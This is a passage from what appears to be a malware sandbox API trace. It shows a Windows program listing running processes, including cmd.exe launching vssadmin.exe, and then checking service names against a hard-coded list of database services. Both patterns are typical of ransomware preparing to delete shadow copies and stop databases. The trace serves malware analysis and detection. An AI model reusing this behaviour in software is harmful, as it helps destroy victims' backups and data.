hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0042.459] lstrlenW (lpString="winlogon.exe") returned 12 [0042.460] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0042.460] lstrlenW (lpString="services.exe") returned 12 [0042.460] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0042.461] lstrlenW (lpString="lsass.exe") returned 9 [0042.461] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0042.461] lstrlenW (lpString="lsm.exe") returned 7 [0042.462] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.462] lstrlenW (lpString="svchost.exe") returned 11 [0042.462] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.463] lstrlenW (lpString="svchost.exe") returned 11 [0042.463] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.464] lstrlenW (lpString="svchost.exe") returned 11 [0042.464] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.464] lstrlenW (lpString="svchost.exe") returned 11 [0042.464] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.465] lstrlenW (lpString="svchost.exe") returned 11 [0042.465] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0042.466] lstrlenW (lpString="audiodg.exe") returned 11 [0042.466] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.466] lstrlenW (lpString="svchost.exe") returned 11 [0042.466] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.467] lstrlenW (lpString="svchost.exe") returned 11 [0042.467] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0042.468] lstrlenW (lpString="dwm.exe") returned 7 [0042.468] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0042.468] lstrlenW (lpString="explorer.exe") returned 12 [0042.468] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0042.469] lstrlenW (lpString="spoolsv.exe") returned 11 [0042.469] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0042.470] lstrlenW (lpString="taskhost.exe") returned 12 [0042.470] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.470] lstrlenW (lpString="svchost.exe") returned 11 [0042.470] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0042.471] lstrlenW (lpString="taskeng.exe") returned 11 [0042.471] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0042.472] lstrlenW (lpString="taskhost.exe") returned 12 [0042.472] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0042.472] lstrlenW (lpString="chem venues.exe") returned 15 [0042.472] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0042.473] lstrlenW (lpString="month.exe") returned 9 [0042.473] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0042.474] lstrlenW (lpString="glasgow.exe") returned 11 [0042.474] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0042.474] lstrlenW (lpString="rubber.exe") returned 10 [0042.474] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0042.475] lstrlenW (lpString="petroleum.exe") returned 13 [0042.475] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0042.476] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0042.476] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0042.476] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0042.476] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0042.477] lstrlenW (lpString="batman_oliver.exe") returned 17 [0042.477] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0042.478] lstrlenW (lpString="formation.exe") returned 13 [0042.478] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0042.748] lstrlenW (lpString="whole.exe") returned 9 [0042.748] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0042.748] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0042.748] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0042.749] lstrlenW (lpString="disorder.exe") returned 12 [0042.749] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0042.750] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0042.750] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0042.750] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0042.750] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0042.751] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0042.751] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0042.751] lstrlenW (lpString="perspective.exe") returned 15 [0042.752] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0042.752] lstrlenW (lpString="demand-site.exe") returned 15 [0042.752] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0042.753] lstrlenW (lpString="attachment.exe") returned 14 [0042.753] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0042.753] lstrlenW (lpString="valid-permit.exe") returned 16 [0042.754] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0042.754] lstrlenW (lpString="knights.exe") returned 11 [0042.754] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0042.755] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0042.755] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0042.755] lstrlenW (lpString="mobsync.exe") returned 11 [0042.755] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0042.756] lstrlenW (lpString="ohbdap.exe") returned 10 [0042.756] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0042.757] lstrlenW (lpString="cmd.exe") returned 7 [0042.757] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0042.757] lstrlenW (lpString="conhost.exe") returned 11 [0042.757] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0042.758] lstrlenW (lpString="vssadmin.exe") returned 12 [0042.758] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0042.759] lstrlenW (lpString="VSSVC.exe") returned 9 [0042.759] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0042.759] CloseHandle (hObject=0x190) returned 1 [0042.759] Sleep (dwMilliseconds=0x1f4) [0043.405] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x530070 [0043.405] EnumServicesStatusExW (in: hSCManager=0x530070, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0043.405] GetLastError () returned 0xea [0043.405] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x123e) returned 0x5a5d28 [0043.406] EnumServicesStatusExW (in: hSCManager=0x530070, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a5d28, cbBufSize=0x123e, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a5d28, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0043.406] CloseServiceHandle (hSCObject=0x530070) returned 1 [0043.406] lstrlenW (lpString="Appinfo") returned 7 [0043.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0043.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0043.406] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0043.406] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0043.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0043.406] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0043.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0043.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0043.407] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0043.407] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0043.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0043.407] lstrlenW (lpString="AudioSrv") returned 8 [0043.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0043.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0043.407] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0043.407] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0043.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0043.407] lstrlenW (lpString="BFE") returned 3 [0043.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0043.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0043.407] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0043.407] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0043.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0043.407] lstrlenW (lpString="CryptSvc") returned 8 [0043.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0043.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0043.407] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0043.407] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0043.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0043.407] lstrlenW (lpString="CscService") returned 10 [0043.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0043.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0043.407] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0043.407] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0043.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0043.407] lstrlenW (lpString="DcomLaunch") returned 10 [0043.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0043.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0043.408] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0043.408] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0043.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0043.408] lstrlenW (lpString="Dhcp") returned 4 [0043.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0043.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0043.408] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0043.408] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0043.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0043.408] lstrlenW (lpString="Dnscache") returned 8 [0043.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0043.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0043.408] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0043.408] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0043.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0043.408] lstrlenW (lpString="DPS") returned 3 [0043.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0043.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0043.408] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0043.408] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0043.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0043.408] lstrlenW (lpString="eventlog") returned 8 [0043.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0043.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0043.408] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0043.408] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0043.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0043.408] lstrlenW (lpString="EventSystem") returned 11 [0043.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0043.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0043.408] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0043.409] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0043.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0043.409] lstrlenW (lpString="gpsvc") returned 5 [0043.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0043.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0043.409] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0043.409] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0043.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0043.409] lstrlenW (lpString="iphlpsvc") returned 8 [0043.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0043.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0043.409] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0043.409] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0043.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0043.409] lstrlenW (lpString="LanmanServer") returned 12 [0043.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0043.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0043.409] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0043.409] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0043.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0043.409] lstrlenW (lpString="LanmanWorkstation") returned 17 [0043.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0043.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0043.409] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0043.409] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0043.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0043.409] lstrlenW (lpString="lmhosts") returned 7 [0043.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0043.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0043.409] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0043.409] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0043.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0043.410] lstrlenW (lpString="MMCSS") returned 5 